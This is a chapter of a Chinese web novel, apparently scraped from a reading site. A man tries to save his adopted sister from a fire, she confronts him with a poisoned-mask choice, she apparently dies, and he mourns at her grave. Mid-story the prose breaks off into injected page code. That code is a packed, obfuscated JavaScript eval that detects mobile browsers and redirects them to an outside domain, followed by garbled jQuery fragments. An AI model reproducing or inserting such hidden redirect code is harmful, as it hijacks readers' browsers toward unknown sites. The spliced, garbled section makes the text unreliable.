莲反 作品

81. 选择

    “放心吧,我一定把人给你带出来。”


    明夷冲陶夭点头,便冲进了火海里。


    “要小心啊——”


    陶夭追出几步,在她后头狂喊。


    四处都是火。


    沈卓却不在意,直接向三楼冲去。


    他心中只有一个念头——一定要带瑟瑟离开。


    无论这条路有多难走。


    他绝对不能再重复上次的悲剧了。


    “瑟瑟!”


    沙哑的声音撕裂了火焰。


    嘉音就站在自己的屋中,原本洁净的衣物此时已染上不少灰黑。


    她的身影在烈焰中显得有些模糊。


    宛若幽魂。


    她转过身。


    “沈卓……”


    此刻,沈瑟瑟终于下定决心,不再回避。


    她深吸一口气,终于问出一直不敢面对的问题。


    “我爹娘……到底是怎么死的?”


    沈卓目光微微一滞,似乎想到了什么痛心的往事。


    “母亲……是因为想你,郁郁而终。至于父亲……他是病死的。”


    沈瑟瑟的指尖刺进了手掌。


    “他们为什么会去开棺材铺?我爹明明就是大夫。”


    她的声音有些轻微发颤。


    “这个,我也不知道。”


    沈卓摇摇头。


    “父亲收养我后,没过多久便盘下了家旁边的一个铺子,然后做起了棺材生意。”


    那时候,自己年岁尚小,也不明白缘由为何。


    “瑟瑟,你跟我走,过去的事,是我对不起你,我会补偿你的,你相信我瑟瑟……”


    沈卓话音未落,便被沈瑟瑟打断。


    “你说你愿意补偿我,那你愿意为我死么?”


    不待人反应,她转身向屋内走去。


    不一会儿,便拿着自墙上取下的两个面具返回。


    沈瑟瑟将面具递到沈卓面前,眼神幽深。


    “这两个面具,一个有毒,一个没有。若你真的有心……就选择吧。”


    随着她的动作,腕上手镯的金色流苏碰撞着。


    听着很轻盈。


    却又沉重。


    沈卓的目光落于她手。


    一只面具乌黑发亮,另一只则洁白无瑕。


    “当然,你若无心,现在就可以走。”


    沈瑟瑟的嘴角带着淡淡嘲意。


    事到临头,她忽然有些犹豫了。


    既然爹和娘收养了沈卓,又将他养大,自己是不是不应该就这样杀死他呢?


    她的时间不多,烈火吞噬他们所处的房间只是时间问题。


    那……不如交给天意吧?


    “你说对吧……娘……”


    沈瑟瑟望向虚空。


    她忽然发现,自己似乎已经记不起……娘的面容。


    原来,已经过去这么久了么?


    沈卓并没有立即伸手去接那面具。


    他凝望着沈瑟瑟。


    “瑟瑟,我知道……这些年,你受了很多苦。我会补偿你的。”


    就像母亲说的,因果报应,轮回不爽。


    “所以……面具,你想让我戴上哪一个,都可以。”


    沈瑟瑟眼神微动。


    “这两个面具……一黑一白,一忠一奸,一生一死。沈卓,你的命运,就由你自己来把握吧。”


    说话间,烟气已是在房间内弥散开来,呛得人眼泪直流。


    沈卓劝说未果,只能接了面具。


    然却未立即戴上。


    沈瑟瑟抚了抚自己被烟气熏得疼痛的胸口。


    “你果然是怕死……咳咳……”


    她喘息着,目光像刀锋般刺向沈卓。


    “所以你那个时候就是故意不肯带我走,所以才骗我一个人留在冰原等你,对么?”


    沈卓眼中闪过一抹痛楚。


    “不是……咳……我真的想带你离开。当时……让你一个人留下,是我最后悔的一件事。”


    “你还在骗我!那你为什么不肯戴上面具呢?告诉我,沈卓!”


    沈卓垂眸看了眼手中面具,随即抬头。


    “瑟瑟,我没有骗你。你要我死……我明白……咳咳……可我需要先将你救出去。”


    “我不会走的!”


    沈瑟瑟的每一个字,像刀锋般,在沈卓心上划出细密的伤口。


    “瑟瑟……”


    他的声音柔和中带着些许哀求。


    “你别怕。这一次,我一定会救你的。”


    说罢,便朝着她走去。


    “不准动。”


    火光映在沈瑟瑟眼中,像极了燃尽的悲怆。


    “你救不了我,沈卓。沈瑟瑟早就已经死了。死在八年前的那个雪夜里。”


    这个世界上,本也没有一个叫沈瑟瑟的女人了。


    如今,只有一个叫嘉音的死人,像个行尸走肉般在世间游荡。


    “瑟瑟!”


    沈卓再也忍不住,他上前一大步,想伸手去拉她手腕。


    谁知沈瑟瑟却猛地转身,跑到里屋关上了房门。


    “瑟瑟你开门!”


    沈卓掌心传来火热的灼痛。


    细密的汗珠自他额头冒出。


    他知道,没时间了。


    “瑟瑟,听我说!你不能留在这里,快开门!”


    屋内寂静无声。


    如同沈瑟瑟沉默的倔强。


    “沈卓!”


    明夷在大观楼内找了很久,终于发现了目标。


    她一把抓住沈卓的手臂。


    “你快跟我走!”


    “我要去救她!”


    沈卓甩开她的手。


    明夷看了眼门后,却并未有什么多余的动作。


    “小姐只吩咐了要把你带出去。”


    语气有些冷硬。


    毕竟,即便她武功再高,也不可能左手一个,右手一个。


    “那我自己去救。”


    这门板他应是能踢开。


    “……”


    明夷没有再与沈卓争执。


    她当即抬手,指尖精准地落在沈卓的后颈处,利落地轻点一下。


    沈卓的身体微微一晃,再也支持不住,向前扑倒。


    明夷眼疾手快,伸手扶住人。


    她微微运气,将昏迷的沈卓扛到肩上,正要下楼去。


    视线却又扫过眼前那紧闭的房门,心中浮现一丝犹疑。


    沉默片刻,最终还是抬起一脚。


    房门应声而开。


    房里却空空如也。


    “奇怪……”


    明夷轻声嘀咕,脸上掠过一丝狐疑,但火已烧到脚边,容不得她多想。


    她赶紧调转身形,扛着沈卓迅速下了楼。


    清晨,大火终于被扑灭,但烟雾依然弥漫。


    楼里抬出的都是烧焦的尸体。


    昨夜,大火可能是引燃了什么,好几处还传来爆炸声。


    繁盛许久的大观楼,终究还是塌了。


    唯有废墟静默无声。


    只剩下前来灭火的百姓和街司吏员。


    “瑟瑟……”


    沈卓的声音轻不可闻。


    “是我害了你。是我……”


    “……”


    陶夭嘴角微抿,却没有开口。


    她一整个晚上都待在这里,灰头土脸的。


    对她而言,这实属难得了。


    “要不要回去找找看?”


    明夷瞅瞅自家主子。


    其实,她觉得……沈瑟瑟可能没死。


    “算了……”陶夭摇摇头。


    自己还是在这儿等他吧。


    她看了一眼沈卓。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564413|164562||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    p>对方脸上也都是黑灰。


    忍不住就开始嘴欠。


    “干嘛呀你……哪里就能欠了她命?那我以后是不是得跟鬼抢人了?”


    “……小姐。”


    明夷有些无语。


    “这个时候你或许应当闭嘴。”


    沈卓没有回应。


    他的眼中尽是疲惫。


    焦黑的尸体一具具被抬出来。


    每一具,都足以让他的心抽紧一次。


    尽管,他已经看过无数次尸体,也非常熟悉那难以形容的刺鼻气味。


    可这次,他只觉得,浑身的力气都被抽干了。


    一具担架抬过,一截焦黑的手腕从粗布下垂落。


    沈卓瞳孔骤然一缩。


    “等等!”


    他快步上前,颤抖着手指,小心地掀开盖在尸体上的粗布。


    粗布下,是一具面目全非的躯体。


    炭化的肌肤散发出刺鼻的焦味,令人几欲作呕。


    沈卓的目光扫过那满目疮痍的身体,最终定格在焦黑手腕上。


    那里,嵌着一个烧得变形的镯子。


    沈卓轻轻拂过镯子上残存的金片。


    虽已被火焰熏黑,轮廓却依稀可辨。


    正是瑟瑟递给自己面具时戴着的那只!


    “瑟瑟……”


    沈卓的喉咙像是被什么堵住了。


    “沈卓……”陶夭站在他身后,神色复杂。


    她也能辨认出,那镯子就是嘉音带着的那款——上面有垂下的金片。


    毕竟她可是对首饰很有研究的!


    沈卓只是死死地盯着。


    像在与那曾经鲜活的生命无声对视。


    “瑟瑟……”


    沈卓的肩膀随着呼吸剧烈起伏。


    随后便开始干呕。


    “沈卓!”


    陶夭连忙上前,一手扶住他肩,另一手轻拍人背。


    “你没事吧?”


    可他不是明明就对尸体司空见惯么?


    真就这么伤心?


    陶夭的动作难得带上些温柔。


    见沈卓仍旧无法平复,又递上帕子。


    “吐出来就好了。”


    沈卓冲她摇摇头,闭上眼,仿佛在极力压抑情绪。


    半晌,他深吸一口气。


    “……走吧。”


    几日后。


    微凉的风拂过郊外一片新土。


    晨光洒下,照亮了一座新添的孤坟。


    沈卓和陶夭默默地站在坟前。


    石碑上是工工整整的楷书——沈瑟瑟之墓。


    他没有刻上“兄立”二字。


    瑟瑟……并没有原谅自己。


    沈卓从怀中取出一枚竹笛,将它比到唇边。


    清越笛声缓缓响起。


    陶夭站在一旁。


    静女其姝。


    难得的。


    那不是什么有名的曲子,低沉哀婉。


    声声送别。


    回肠荡气的,大概是生人对坟中新死者那未竟的遗憾。


    虽然……


    她到底死没死还两说呢!


    陶夭回忆着明夷的话,目光又从坟茔移到沈卓身上。


    他的身影显得格外落寞。


    也许……只有时间能治愈一切。


    曲毕,沈卓缓缓放下竹笛。


    却依旧一动不动地盯着坟茔。


    “没想到你还会吹这个啊。”


    陶夭开口,没话找话中。


    “我家夫君还真是个深藏不露的雅士呢。”


    她轻声调侃道。


    “没想到呀啧啧……”


    沈卓垂下眼眸。


    “殡殓会有很多仪式。有时候客人找不到殡仪,我也会去帮忙吹些送葬的曲子。”


    有时候,乐曲比言语更能送人一程。